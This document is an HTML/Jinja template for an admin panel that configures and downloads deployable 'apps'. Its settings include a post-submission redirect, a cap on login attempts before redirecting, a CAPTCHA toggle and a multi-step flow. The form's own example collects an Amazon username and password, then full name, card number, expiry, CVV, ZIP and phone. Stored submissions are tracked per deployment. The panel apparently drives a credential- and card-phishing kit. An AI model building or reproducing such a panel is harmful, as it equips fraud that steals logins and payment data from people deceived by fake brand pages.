{% extends "base.html" %}

{% block title %}Apps - Admin Panel{% endblock %}

{% block page_title %}Apps Management{% endblock %}

{% block content %}
<div class="row">
    <div class="col-12">
        <h2 class="h4 mb-4">Deploy New App</h2>
    </div>
</div>

<div class="row">
    {% for template in templates %}
        <div class="col-md-4 col-lg-3 mb-4">
            <div class="card app-card" data-bs-toggle="modal" data-bs-target="#deployModal{{ template.id }}">
                <div class="card-body text-center">
                    <div class="app-icon mb-3">
                        <i class="{{ template.icon_class }} fa-3x"></i>
                    </div>
                    <h5 class="card-title">{{ template.name }}</h5>
                    <p class="card-text text-muted">{{ template.folder_path }}</p>
                    <div class="app-stats">
                        <span class="badge bg-primary">{{ template.deployed_count }} deployed</span>
                    </div>
                </div>
            </div>
        </div>

        <!-- Modal for each app -->
        <div class="modal fade" id="deployModal{{ template.id }}" tabindex="-1">
            <div class="modal-dialog">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title">
                            <i class="{{ template.icon_class }}"></i> Deploy {{ template.name }}
                        </h5>
                        <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                    </div>
                    <form method="POST" action="{{ url_for('main.create_deployment', template_id=template.id) }}">
                        <div class="modal-body">
                            <div class="mb-3">
                                <div class="form-check form-switch">
                                    <input class="form-check-input" type="checkbox" id="enabled{{ template.id }}" name="enabled" checked>
                                    <label class="form-check-label" for="enabled{{ template.id }}">
                                        Enable App
                                    </label>
                                </div>
                            </div>

                            <div class="mb-3">
                                <div class="form-check form-switch">
                                    <input class="form-check-input" type="checkbox" id="turnstile{{ template.id }}" name="turnstile_enabled">
                                    <label class="form-check-label" for="turnstile{{ template.id }}">
                                        Enable Turnstile CAPTCHA
                                    </label>
                                </div>
                            </div>

                            <div class="mb-3">
                                <label for="redirect_url{{ template.id }}" class="form-label">Redirect URL after submission</label>
                                <input type="url" class="form-control" id="redirect_url{{ template.id }}" name="redirect_url" 
                                       placeholder="https://example.com/success">
                            </div>

                            <div class="mb-3">
                                <label for="max_attempts{{ template.id }}" class="form-label">Number of Form Submission Attempts</label>
                                <input type="number" class="form-control" id="max_attempts{{ template.id }}" name="max_attempts" 
                                       value="2" min="1" max="10">
                                <div class="form-text">Maximum number of login attempts before redirect</div>
                            </div>

                            <div class="mb-3">
                                <div class="form-check form-switch">
                                    <input class="form-check-input" type="checkbox" id="multi_step{{ template.id }}" name="multi_step_enabled" 
                                           onchange="toggleStepCount({{ template.id }})">
                                    <label class="form-check-label" for="multi_step{{ template.id }}">
                                        Enable Multi-Step Authentication Flow
                                    </label>
                                </div>
                                <div class="form-text">Use for complex authentication flows like Amazon (username/password → payment details)</div>
                            </div>

                            <div class="mb-3" id="stepCountGroup{{ template.id }}" style="display: none;">
                                <label for="step_count{{ template.id }}" class="form-label">Number of Steps</label>
                                <select class="form-select" id="step_count{{ template.id }}" name="step_count">
                                    <option value="2" selected>2 Steps (Login → Payment/Details)</option>
                                    <option value="3">3 Steps (Login → Info → Payment)</option>
                                    <option value="4">4 Steps (Login → Info → Payment → Verification)</option>
                                </select>
                                <div class="form-text">
                                    <strong>Amazon Example:</strong> Step 1: Username/Password → Step 2: Full Name, Card Number, Expiry, CVV, ZIP, Phone
                                </div>
                            </div>

                            <div class="alert alert-info">
                                <i class="fas fa-info-circle"></i>
                                A unique API key will be auto-generated for this deployment instance.
                            </div>
                        </div>
                        <div class="modal-footer">
                            <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                            <button type="submit" class="btn btn-primary">
                                <i class="fas fa-download"></i> Deploy & Download
                            </button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    {% endfor %}
{% if not templates %}
    <div class="row">
        <div class="col-12">
            <div class="text-center py-5">
                <i class="fas fa-th-large fa-3x text-muted mb-3"></i>
                <h5>No apps available</h5>
                <p class="text-muted">App templates will be created automatically when you first visit this page.</p>
            </div>
        </div>
    </div>
{% endif %}

<!-- Delete Confirmation Modals for Apps -->
{% for app in deployed_apps.items %}
<div class="modal fade" id="deleteAppModal{{ app.id }}" tabindex="-1" aria-labelledby="deleteAppModalLabel{{ app.id }}">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="deleteAppModalLabel{{ app.id }}">
                    <i class="fas fa-exclamation-triangle text-warning"></i> Confirm Delete App
                </h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body">
                <p>Are you sure you want to delete this deployed app?</p>
                <div class="alert alert-danger">
                    <strong>Warning:</strong> This action will permanently delete the app and all associated submissions. This cannot be undone.
                </div>
                <ul>
                    <li><strong>App:</strong> {{ app.app_template.name }}</li>
                    <li><strong>API Key:</strong> <code>{{ app.api_key }}</code></li>
                    <li><strong>Created:</strong> {{ app.created_at.strftime('%Y-%m-%d %H:%M') }}</li>
                    <li><strong>Submissions:</strong> {{ app.submissions|length }} records</li>
                </ul>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                <a href="{{ url_for('main.delete_deployment', app_id=app.id) }}" 
                   class="btn btn-danger">
                    <i class="fas fa-trash"></i> Delete App
                </a>
            </div>
        </div>
    </div>
</div>
{% endfor %}

<!-- Deployed Apps Section -->
<div class="row mt-5">
    <div class="col-12">
        <h2 class="h4 mb-4">Deployed Apps</h2>
        <div class="card">
            <div class="card-body">
                {% if deployed_apps.items %}
                    <div class="table-responsive">
                        <table class="table table-hover">
                            <thead>
                                <tr>
                                    <th>App Name</th>
                                    <th>API Key</th>
                                    <th>Status</th>
                                    <th>CAPTCHA</th>
                                    <th>Max Attempts</th>
                                    <th>Created</th>
                                    <th>Actions</th>
                                </tr>
                            </thead>
                            <tbody>
                                {% for app in deployed_apps.items %}
                                    <tr>
                                        <td>
                                            <i class="{{ app.app_template.icon_class }}"></i>
                                            {{ app.app_template.name }}
                                        </td>
                                        <td>
                                            <code>{{ app.api_key }}</code>
                                        </td>
                                        <td>
                                            {% if app.enabled %}
                                                <span class="badge bg-success">Enabled</span>
                                            {% else %}
                                                <span class="badge bg-secondary">Disabled</span>
                                            {% endif %}
                                        </td>
                                        <td>
                                            {% if app.turnstile_enabled %}
                                                <i class="fas fa-shield-alt text-success"></i>
                                            {% else %}
                                                <i class="fas fa-times text-muted"></i>
                                            {% endif %}
                                        </td>
                                        <td>{{ app.max_attempts }}</td>
                                        <td>{{ app.created_at.strftime('%Y-%m-%d %H:%M') }}</td>
                                        <td>
                                            <div class="btn-group btn-group-sm">
                                                <button type="button" class="btn btn-outline-danger" data-bs-toggle="modal" data-bs-target="#deleteAppModal{{ app.id }}">
                                                    <i class="fas fa-trash"></i>
                                                </button>
                                            </div>
                                        </td>
                                    </tr>
                                {% endfor %}
                            </tbody>
                        </table>
                    </div>

                    <!-- Pagination -->
                    {% if deployed_apps.pages > 1 %}
                        <nav aria-label="Page navigation">
                            <ul class="pagination">
                                {% if deployed_apps.has_prev %}
                                    <li class="page-item">
                                        <a class="page-link" href="{{ url_for('main.apps', page=deployed_apps.prev_num) }}">Previous</a>
                                    </li>
                                {% endif %}

                                {% for page_num in deployed_apps.iter_pages() %}
                                    {% if page_num %}
                                        {% if page_num != deployed_apps.page %}
                                            <li class="page-item">
                                                <a class="page-link" href="{{ url_for('main.apps', page=page_num) }}">{{ page_num }}</a>
                                            </li>
                                        {% else %}
                                            <li class="page-item active">
                                                <span class="page-link">{{ page_num }}</span>
                                            </li>
                                        {% endif %}
                                    {% else %}
                                        <li class="page-item disabled">
                                            <span class="page-link">…</span>
                                        </li>
                                    {% endif %}
                                {% endfor %}

                                {% if deployed_apps.has_next %}
                                    <li class="page-item">
                                        <a class="page-link" href="{{ url_for('main.apps', page=deployed_apps.next_num) }}">Next</a>
                                    </li>
                                {% endif %}
                            </ul>
                        </nav>
                    {% endif %}
                {% else %}
                    <div class="text-center py-4">
                        <i class="fas fa-rocket fa-3x text-muted mb-3"></i>
                        <h5>No deployed apps yet</h5>
                        <p class="text-muted">Deploy apps from the templates above to see them here.</p>
                    </div>
                {% endif %}
            </div>
        </div>
    </div>
</div>
{% endblock %}

{% block scripts %}
<script>
// Fix footer positioning
document.addEventListener('DOMContentLoaded', function() {
    // Ensure proper spacing for footer
    const body = document.body;
    const footer = document.querySelector('footer');
    
    if (footer) {
        // Add padding to body to accommodate sticky footer
        body.style.paddingBottom = '60px';
        
        // Ensure footer stays at bottom
        footer.style.position = 'fixed';
        footer.style.bottom = '0';
        footer.style.left = '0';
        footer.style.right = '0';
        footer.style.zIndex = '1000';
    }
});

// Toggle step count configuration
function toggleStepCount(templateId) {
    const checkbox = document.getElementById('multi_step' + templateId);
    const stepCountGroup = document.getElementById('stepCountGroup' + templateId);
    
    if (checkbox.checked) {
        stepCountGroup.style.display = 'block';
    } else {
        stepCountGroup.style.display = 'none';
    }
}
</script>
{% endblock %}